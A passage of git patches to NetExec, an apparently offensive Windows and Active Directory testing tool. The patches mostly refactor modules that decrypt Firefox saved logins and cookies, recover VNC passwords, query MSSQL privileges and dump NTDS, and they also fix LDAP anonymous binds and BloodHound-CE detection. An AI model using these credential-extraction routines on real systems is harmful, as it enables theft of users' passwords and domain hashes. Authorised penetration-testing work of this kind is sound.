Date: Thu, 3 Apr 2025 14:24:09 -0400 Subject: [PATCH 24/83] Mostly ignore firefox because it will be removed anyway --- nxc/protocols/smb/firefox.py | 42 ++++++++++++++++++------------------ 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index 7217b8bb..8084fcd9 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -18,12 +18,12 @@ from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection CKA_ID = unhexlify("f8000000000000000000000000000001") +@dataclass class FirefoxData: - def __init__(self, winuser: str, url: str, username: str, password: str): - self.winuser = winuser - self.url = url - self.username = username - self.password = password + winuser: str + url: str + username: str + password: str @dataclass @@ -112,11 +112,11 @@ class FirefoxTriage: password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8") if password is not None and decoded_username is not None: data = FirefoxData( - winuser=user, - url=host, - username=decoded_username, - password=password, - ) + winuser=user, + url=host, + username=decoded_username, + password=password, + ) if self.per_secret_callback is not None: self.per_secret_callback(data) firefox_data.append(data) @@ -128,7 +128,7 @@ class FirefoxTriage: def parse_cookie_data(self, windows_user, cookies_data): cookies = [] - fh = tempfile.NamedTemporaryFile(delete=False) + fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 fh.write(cookies_data) fh.seek(0) db = sqlite3.connect(fh.name) @@ -136,15 +136,15 @@ class FirefoxTriage: cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;") for name, value, host, path, expiry, lastAccessed, creationTime in cursor: cookie = FirefoxCookie( - winuser=windows_user, - host=host, - path=path, - cookie_name=name, - cookie_value=value, - creation_utc=creationTime, - last_access_utc=lastAccessed, - expires_utc=expiry, - ) + winuser=windows_user, + host=host, + path=path, + cookie_name=name, + cookie_value=value, + creation_utc=creationTime, + last_access_utc=lastAccessed, + expires_utc=expiry, + ) if self.per_secret_callback is not None: self.per_secret_callback(cookie) cookies.append(cookie) @@ -167,7 +167,7 @@ class FirefoxTriage: # Instead of disabling "delete" and removing the file manually, # in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution # Related issue: #134 - fh = tempfile.NamedTemporaryFile(delete=False) + fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 fh.write(key4_data) fh.seek(0) db = sqlite3.connect(fh.name) From eb88dc542350753e2308fcd759c28039f2c9d821 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:41:29 -0400 Subject: [PATCH 25/83] Rename ElementTree to ET for consistency --- nxc/modules/keepass_trigger.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/keepass_trigger.py b/nxc/modules/keepass_trigger.py index d9d56d4c..df51c0c5 100644 --- a/nxc/modules/keepass_trigger.py +++ b/nxc/modules/keepass_trigger.py @@ -4,7 +4,7 @@ from time import sleep from csv import reader from base64 import b64encode from io import BytesIO, StringIO -from xml.etree import ElementTree +from xml.etree import ElementTree as ET from nxc.helpers.powershell import get_ps_script @@ -358,7 +358,7 @@ class NXCModule: sys.exit(1) try: - keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue()) + keepass_config_xml_root = ET.fromstring(buffer.getvalue()) except Exception as e: context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}") sys.exit(1) @@ -377,7 +377,7 @@ class NXCModule: def extract_password(self, context): xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name) - xml_tree = ElementTree.parse(xml_doc_path) + xml_tree = ET.parse(xml_doc_path) root = xml_tree.getroot() root_entries = root.find("./Root/Entry") From bcf6b37eaf3d16411c821746dab89282d8ea9efd Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:41:55 -0400 Subject: [PATCH 26/83] Use context manager for files and improve code --- nxc/modules/mssql_priv.py | 4 +--- nxc/modules/vnc.py | 22 +++++++++++----------- nxc/modules/wcc.py | 4 ++-- 3 files changed, 14 insertions(+), 16 deletions(-) diff --git a/nxc/modules/mssql_priv.py b/nxc/modules/mssql_priv.py index 12f8e265..0abe2f73 100644 --- a/nxc/modules/mssql_priv.py +++ b/nxc/modules/mssql_priv.py @@ -300,9 +300,7 @@ class NXCModule: WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER """ res = self.query_and_get_output(exec_as + query) - if res and "database_role" in res[0] and res[0]["database_role"] == "db_owner": - return True - return False + return bool(res and "database_role" in res[0] and res[0]["database_role"] == "db_owner") def find_dbowner_priv(self, databases, exec_as="") -> list: """ diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index 6aa30f9a..ff26a8a4 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -128,17 +128,17 @@ class NXCModule: self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}") continue else: - fh = tempfile.NamedTemporaryFile() - fh.write(ntuser_dat_bytes) - fh.seek(0) - reg = winregistry.Registry(fh.name, isRemote=False) - parent_key = reg.findKey(registry_path) - if parent_key is None: - continue - cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1") - password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode() - cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") - cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1") + with tempfile.NamedTemporaryFile() as fh: + fh.write(ntuser_dat_bytes) + fh.seek(0) + reg = winregistry.Registry(fh.name, isRemote=False) + parent_key = reg.findKey(registry_path) + if parent_key is None: + continue + cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1") + password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode() + cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") + cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1") self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") diff --git a/nxc/modules/wcc.py b/nxc/modules/wcc.py index 5dac6022..e2369d5e 100644 --- a/nxc/modules/wcc.py +++ b/nxc/modules/wcc.py @@ -308,7 +308,7 @@ class HostChecker: value = self.reg_query_value(self.dce, self.connection, key, value_name) - if type(value) == DCERPCSessionError: + if isinstance(value, DCERPCSessionError): if options["KOIfMissing"]: ok = False if value.error_code in (ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND): @@ -464,7 +464,7 @@ class HostChecker: nbtns_enabled = 0 for subkey in subkeys: value = self.reg_query_value(self.dce, self.connection, key_name + "\\" + subkey, "NetbiosOptions") - if type(value) == DCERPCSessionError: + if isinstance(value, DCERPCSessionError): if value.error_code == ERROR_OBJECT_NOT_FOUND: missing += 1 continue From d016fb61fddca8390fadfb5e227a148e36b3b7b4 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 27 Apr 2025 00:34:35 +0200 Subject: [PATCH 27/83] make nxc compatible with bloodhound-ce --- nxc/data/nxc.conf | 3 ++ nxc/protocols/ldap.py | 94 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 97 insertions(+) diff --git a/nxc/data/nxc.conf b/nxc/data/nxc.conf index 8554f9e8..faadf8a1 100755 --- a/nxc/data/nxc.conf +++ b/nxc/data/nxc.conf @@ -15,6 +15,9 @@ bh_port = 7687 bh_user = neo4j bh_pass = bloodhoundcommunityedition +[BloodHound-CE] +bhce_enabled = False + [Empire] api_host = 127.0.0.1 api_port = 1337 diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 18d1861f..9d83eb05 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1200,6 +1200,100 @@ class ldap(connection): self.logger.fail("No string provided :'(") def bloodhound(self): + + def get_bloodhound_info(): + """ + Detect which BloodHound package is installed (regular or CE) and its version. + + Returns: + tuple: (package_name, version, is_ce) + - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None) + - version: Version string of the installed package (or None if not installed) + - is_ce: Boolean indicating if it's the Community Edition + """ + import importlib.metadata + import importlib.util + + # First check if any BloodHound package is available to import + if importlib.util.find_spec("bloodhound") is None: + return None, None, False + + # Try to get version info from both possible packages + version = None + package_name = None + is_ce = False + + # Check for bloodhound-ce first + try: + version = importlib.metadata.version("bloodhound-ce") + package_name = "bloodhound-ce" + is_ce = True + except importlib.metadata.PackageNotFoundError: + # Check for regular bloodhound + try: + version = importlib.metadata.version("bloodhound") + package_name = "bloodhound" + + # Even when installed as 'bloodhound', check if it's actually the CE version + if version and ("ce" in version.lower() or "community" in version.lower()): + is_ce = True + except importlib.metadata.PackageNotFoundError: + # No bloodhound package found via metadata + pass + + # In case we can import it but metadata is not working, check the module itself + if not version: + try: + import bloodhound + version = getattr(bloodhound, "__version__", "unknown") + package_name = "bloodhound" + + # Check if it's CE based on version string + if "ce" in version.lower() or "community" in version.lower(): + is_ce = True + package_name = "bloodhound-ce" + except ImportError: + pass + + return package_name, version, is_ce + + import configparser + config = configparser.ConfigParser() + config.read(os.path.expanduser("~/.nxc/nxc.conf")) + # Check which version is desired + use_bhce = config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) + package_name, version, is_ce = get_bloodhound_info() + + try: + if use_bhce and not is_ce: + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound") + self.logger.fail("poetry add bloodhound-ce") + + # If using pipx + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx inject netexec bloodhound-ce --force") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound") + return False + + elif not use_bhce and is_ce: + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound-ce") + self.logger.fail("poetry add bloodhound") + + # If using pipx + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx inject netexec bloodhound --force") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") + return False + + except importlib.metadata.PackageNotFoundError: + pass + auth = ADAuthentication( username=self.username, password=self.password, From 26588a490e9257ac4b792d2c24247361a5215414 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 27 Apr 2025 00:36:30 +0200 Subject: [PATCH 28/83] fix ruff --- nxc/protocols/ldap.py | 53 ++++++++++++++++++++----------------------- 1 file changed, 25 insertions(+), 28 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 9d83eb05..1c7754b9 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1205,7 +1205,8 @@ class ldap(connection): """ Detect which BloodHound package is installed (regular or CE) and its version. - Returns: + Returns + ------- tuple: (package_name, version, is_ce) - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None) - version: Version string of the installed package (or None if not installed) @@ -1264,35 +1265,31 @@ class ldap(connection): use_bhce = config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) package_name, version, is_ce = get_bloodhound_info() - try: - if use_bhce and not is_ce: - self.logger.fail("⚠️ Configuration Issue Detected ⚠️") - self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") - self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound") - self.logger.fail("poetry add bloodhound-ce") + if use_bhce and not is_ce: + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your ~/.nxc/nxc.conf config file or follow the instructions:") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound") + self.logger.fail("poetry add bloodhound-ce") - # If using pipx - self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx inject netexec bloodhound-ce --force") - self.logger.fail("pipx runpip netexec uninstall -y bloodhound") - return False + # If using pipx + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx inject netexec bloodhound-ce --force") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound") + return False - elif not use_bhce and is_ce: - self.logger.fail("⚠️ Configuration Issue Detected ⚠️") - self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") - self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound-ce") - self.logger.fail("poetry add bloodhound") + elif not use_bhce and is_ce: + self.logger.fail("⚠️ Configuration Issue Detected ⚠️") + self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound-ce") + self.logger.fail("poetry add bloodhound") - # If using pipx - self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx inject netexec bloodhound --force") - self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") - return False - - except importlib.metadata.PackageNotFoundError: - pass + # If using pipx + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx inject netexec bloodhound --force") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") + return False auth = ADAuthentication( username=self.username, @@ -1313,7 +1310,7 @@ class ldap(connection): ) collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) if not collect: - return + return None self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect))) self.logger.debug("Using DNS to retrieve domain information") From 9dc029847a765da928d419df6b275965a3c87838 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 29 Apr 2025 00:12:19 +0200 Subject: [PATCH 29/83] fix ldap simple auth --- nxc/connection.py | 2 +- nxc/protocols/ldap.py | 10 +++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index e327c1bc..f0a59dca 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -232,7 +232,7 @@ class connection: self.logger.debug("Created connection object") self.enum_host_info() self.print_host_info() - if self.login() or (self.username == "" and self.password == ""): + if (self.args.username[0] == "" and self.args.password[0] == "") or self.login(): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 1ccf7c91..68c2b818 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -150,6 +150,7 @@ class ldap(connection): self.admin_privs = False self.no_ntlm = False self.sid_domain = "" + self.scope = None connection.__init__(self, args, db, host) @@ -213,6 +214,8 @@ class ldap(connection): self.target = target self.targetDomain = target_domain self.baseDN = base_dn + if self.username == "": + self.scope = ldapasn1_impacket.Scope("baseObject") return True def get_ldap_username(self): @@ -615,7 +618,7 @@ class ldap(connection): return t def search(self, searchFilter, attributes, sizeLimit=0, baseDN=None) -> list: - if baseDN is None and self.args.base_dn: + if baseDN is None and self.args.base_dn is not None: baseDN = self.args.base_dn elif baseDN is None: baseDN = self.baseDN @@ -625,13 +628,14 @@ class ldap(connection): self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search - paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) + paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) if not self.no_ntlm else "" return self.ldap_connection.search( + scope=self.scope, searchBase=baseDN, searchFilter=searchFilter, attributes=attributes, sizeLimit=sizeLimit, - searchControls=[paged_search_control], + searchControls=paged_search_control, ) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: From 14520689443beb489196d64b71f7be869dd2cec5 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 29 Apr 2025 00:39:37 +0200 Subject: [PATCH 30/83] simple update --- nxc/connection.py | 2 +- nxc/protocols/ldap.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index f0a59dca..03a2a43b 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -232,7 +232,7 @@ class connection: self.logger.debug("Created connection object") self.enum_host_info() self.print_host_info() - if (self.args.username[0] == "" and self.args.password[0] == "") or self.login(): + if self.login() or (self.username and self.password): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 68c2b818..8eec2eec 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -414,6 +414,8 @@ class ldap(connection): return False def plaintext_login(self, domain, username, password): + if username == "" and password == "": + return True self.username = username self.password = password self.domain = domain @@ -628,7 +630,7 @@ class ldap(connection): self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search - paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) if not self.no_ntlm else "" + paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) if self.no_ntlm else "" return self.ldap_connection.search( scope=self.scope, searchBase=baseDN, From 8b2135a7b105e2fa00e5e6d65c9e5f18415f6854 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 29 Apr 2025 00:40:24 +0200 Subject: [PATCH 31/83] simple update --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index 03a2a43b..e327c1bc 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -232,7 +232,7 @@ class connection: self.logger.debug("Created connection object") self.enum_host_info() self.print_host_info() - if self.login() or (self.username and self.password): + if self.login() or (self.username == "" and self.password == ""): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") From 2e254396b53ef1c6f8d29b61936a77b52bed72a7 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 29 Apr 2025 00:41:53 +0200 Subject: [PATCH 32/83] simple update --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8eec2eec..2c3e6617 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -630,7 +630,7 @@ class ldap(connection): self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search - paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) if self.no_ntlm else "" + paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if self.no_ntlm else "" return self.ldap_connection.search( scope=self.scope, searchBase=baseDN, From cc09aefbb9863fde8f08545606843a6c925b33b6 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 29 Apr 2025 01:03:17 +0200 Subject: [PATCH 33/83] more simple code --- nxc/protocols/ldap.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 2c3e6617..f7ae18ef 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -214,8 +214,6 @@ class ldap(connection): self.target = target self.targetDomain = target_domain self.baseDN = base_dn - if self.username == "": - self.scope = ldapasn1_impacket.Scope("baseObject") return True def get_ldap_username(self): @@ -252,6 +250,8 @@ class ldap(connection): if ntlm_challenge: ntlm_info = parse_challenge(ntlm_challenge) self.server_os = ntlm_info["os_version"] + else: + self.no_ntlm = True # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain if not self.kdcHost and self.domain and self.domain == self.targetDomain: @@ -414,7 +414,8 @@ class ldap(connection): return False def plaintext_login(self, domain, username, password): - if username == "" and password == "": + if username == "" and password == "" and self.no_ntlm: + self.scope = ldapasn1_impacket.Scope("baseObject") return True self.username = username self.password = password @@ -630,7 +631,7 @@ class ldap(connection): self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search - paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if self.no_ntlm else "" + paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else "" return self.ldap_connection.search( scope=self.scope, searchBase=baseDN, From 3ff6479795d3e2c56a9c1b53471cf79ccbb0a535 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 29 Apr 2025 08:41:09 +0200 Subject: [PATCH 34/83] better output --- nxc/protocols/ldap.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f7ae18ef..73e80e40 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -416,7 +416,9 @@ class ldap(connection): def plaintext_login(self, domain, username, password): if username == "" and password == "" and self.no_ntlm: self.scope = ldapasn1_impacket.Scope("baseObject") + self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") return True + self.username = username self.password = password self.domain = domain From a47431cbfd99f97bccf77df4229361719753254a Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 29 Apr 2025 14:20:16 +0200 Subject: [PATCH 35/83] fix hostname info if no ntlm --- nxc/helpers/misc.py | 12 ++++++ nxc/protocols/ldap/resolution.py | 63 ++++++++++++++++++++++++++++++++ nxc/protocols/smb.py | 50 ++++++++++++++++--------- 3 files changed, 107 insertions(+), 18 deletions(-) create mode 100644 nxc/protocols/ldap/resolution.py diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index a92646f7..5e31357a 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -77,3 +77,15 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None): name = os.path.join(p, thefile) if _access_check(name, mode): return name + +def detect_ip_or_fqdn(input_string): + # Regex for matching IP address (both IPv4 and IPv6) + ip_pattern = re.compile(r"^(\d{1,3}\.){3}\d{1,3}$") # Simple IPv4 pattern + fqdn_pattern = re.compile(r"^[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$") # Simple FQDN pattern + + if ip_pattern.match(input_string): + return True + elif fqdn_pattern.match(input_string): + return False + else: + return False \ No newline at end of file diff --git a/nxc/protocols/ldap/resolution.py b/nxc/protocols/ldap/resolution.py new file mode 100644 index 00000000..89b73fb4 --- /dev/null +++ b/nxc/protocols/ldap/resolution.py @@ -0,0 +1,63 @@ +from re import sub, I +from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH +from OpenSSL.SSL import SysCallError + +from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldapasn1 as ldapasn1_impacket + +from nxc.parsers.ldap_results import parse_result_attributes +from nxc.logger import nxc_logger + +class LDAPResolution: + + def __init__(self, host): + self.host = host + + def get_resolution(self): + target = "" + target_domain = "" + base_dn = "" + try: + ldap_url = f"ldap://{self.host}" + nxc_logger.info(f"Connecting to {ldap_url} with no baseDN") + try: + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + if self.ldap_connection: + nxc_logger.debug(f"ldap_connection: {self.ldap_connection}") + except SysCallError as e: + nxc_logger.fail(f"LDAP connection to {ldap_url} failed: {e}") + return False + + resp = self.ldap_connection.search( + scope=ldapasn1_impacket.Scope("baseObject"), + attributes=["defaultNamingContext", "dnsHostName"], + sizeLimit=0, + ) + resp_parsed = parse_result_attributes(resp)[0] + + target = resp_parsed["dnsHostName"] + base_dn = resp_parsed["defaultNamingContext"] + target_domain = sub( + ",DC=", + ".", + base_dn[base_dn.lower().find("dc="):], + flags=I, + )[3:] + # Extract machine name from target (hostname part of FQDN) + if target: + machine_name = target.split(".")[0] + nxc_logger.debug(f"Extracted machine name: {machine_name}") + + self.ldap_connection.close() + except ConnectionRefusedError as e: + nxc_logger.debug(f"{e} on host {self.host}") + return False + except OSError as e: + if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT): + nxc_logger.info(f"Error connecting to {self.host} - {e}") + return False + else: + nxc_logger.error(f"Error getting ldap info {e}") + + nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}") + return machine_name, target_domain \ No newline at end of file diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index ce7f825e..d949a57f 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -56,6 +56,8 @@ from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.helpers.logger import highlight from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command +from nxc.helpers.misc import detect_ip_or_fqdn +from nxc.protocols.ldap.resolution import LDAPResolution from dploot.triage.vaults import VaultsTriage from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie @@ -172,6 +174,7 @@ class smb(connection): self.no_ntlm = False self.protocol = "SMB" self.is_guest = None + self.isdc = False connection.__init__(self, args, db, host) @@ -232,13 +235,17 @@ class smb(connection): if not self.targetDomain: # Not sure if that can even happen but now we are safe self.targetDomain = self.hostname else: - # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it try: - import socket - socket.inet_aton(self.host) - self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name") - self.hostname = self.host - self.targetDomain = self.host + if self.is_host_dc() and detect_ip_or_fqdn(self.host): + self.hostname, self.domain = LDAPResolution(self.host).get_resolution() + self.targetDomain = self.domain + # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it + else: + import socket + socket.inet_aton(self.host) + self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name") + self.hostname = self.host + self.targetDomain = self.host except OSError: if self.host.count(".") >= 1: self.hostname = self.host.split(".")[0] @@ -246,6 +253,10 @@ class smb(connection): else: self.hostname = self.host self.targetDomain = self.host + except Exception as e: + self.logger.debug(f"Error getting hostname from LDAP: {e}") + self.hostname = self.host + self.targetDomain = self.host if self.args.domain: self.domain = self.args.domain @@ -330,21 +341,12 @@ class smb(connection): self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}) {ntlm}") if self.args.generate_hosts_file or self.args.generate_krb5_file: - from impacket.dcerpc.v5 import nrpc, epm - self.logger.debug("Performing authentication attempts...") - isdc = False - try: - epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") - isdc = True - except DCERPCException: - self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") - if self.args.generate_hosts_file: with open(self.args.generate_hosts_file, "a+") as host_file: - dc_part = f" {self.targetDomain}" if isdc else "" + dc_part = f" {self.targetDomain}" if self.isdc else "" host_file.write(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}\n") - self.logger.debug(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}") - elif self.args.generate_krb5_file and isdc: + self.logger.debug(f"Line added to {self.args.generate_hosts_file} {self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}") + elif self.args.generate_krb5_file and self.isdc: with open(self.args.generate_krb5_file, "w+") as host_file: data = f""" [libdefaults] @@ -703,6 +705,18 @@ class smb(connection): except Exception as e: self.logger.fail(f"Failed to get TGT: {e}") + def is_host_dc(self): + from impacket.dcerpc.v5 import nrpc, epm + self.logger.debug("Performing authentication attempts...") + try: + epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + self.isdc = True + return True + except DCERPCException: + self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") + self.isdc = False + return False + @requires_admin def execute(self, payload=None, get_output=False, methods=None) -> str: """ From 86aac144b510c10b232533d8d749bae793d70199 Mon Sep 17 00:00:00 2001 From: emre <73831924+crosscutsaw@users.noreply.github.com> Date: Thu, 15 May 2025 21:04:23 +0300 Subject: [PATCH 36/83] Update ntdsutil.py --- nxc/modules/ntdsutil.py | 109 ++++++++++++++++++++++++++++++++++------ 1 file changed, 95 insertions(+), 14 deletions(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index 81aaf00b..5df5b409 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -1,7 +1,7 @@ import os -import shutil -import tempfile +import socket import time +import subprocess from impacket.examples.secretsdump import LocalOperations, NTDSHashes @@ -13,7 +13,6 @@ class NXCModule: """ Dump NTDS with ntdsutil Module by @zblurx - """ name = "ntdsutil" @@ -27,22 +26,49 @@ class NXCModule: Dump NTDS with ntdsutil Module by @zblurx - DIR_RESULT Local dir to write ntds dump. If specified, the local dump will not be deleted after parsing + DIR_RESULT Local dir to write ntds dump. """ self.share = "ADMIN$" self.tmp_dir = "C:\\Windows\\Temp\\" self.tmp_share = self.tmp_dir.split("C:\\Windows\\")[1] self.dump_location = str(time.time())[:9] - self.dir_result = self.dir_result = tempfile.mkdtemp() self.no_delete = False + self.user_specified_dir = "DIR_RESULT" in module_options - if "DIR_RESULT" in module_options: 